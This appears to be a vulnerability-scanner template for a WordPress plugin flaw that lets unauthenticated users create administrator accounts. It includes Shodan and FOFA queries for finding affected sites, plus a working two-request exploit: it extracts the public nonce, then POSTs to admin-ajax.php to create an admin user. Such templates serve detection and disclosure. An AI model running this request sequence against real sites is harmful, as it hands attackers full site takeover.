WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation

id: CVE-2026-8732

info:
  name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
  author: DhiyaneshDk
  severity: critical
  description: |
    The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
  impact: |
    Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.
  remediation: |
    Update to the latest version beyond 6.1.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8732
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/
    - https://github.com/xShadow-Here/CVE-2026-8732
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-8732
    cwe-id: CWE-862
    epss-score: 0.20388
    epss-percentile: 0.97508
  metadata:
    verified: true
    max-request: 2
    vendor: flippercode
    product: wp-google-map-gold
    fofa-query: body="/wp-content/plugins/wp-maps-pro/"
    publicwww-query: "/wp-content/plugins/wp-maps-pro/"
    shodan-query: http.html:"/wp-content/plugins/wp-maps-pro/"
  tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev

flow: http(1) && http(2)

variables:
  username: "{{rand_base(8)}}"
  email: "{{rand_base(6)}}@{{rand_base(4)}}.com"
  password: "{{rand_base(10)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wpgmp_local")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"wpgmp_local"[^;]*"nonce"\s*:\s*"([a-f0-9]+)"'
          - 'wpgmp_local\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wpgmp_access='
          - '"wpgmp_access":'
          - 'login_url'
          - 'user_id'
        condition: and

      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200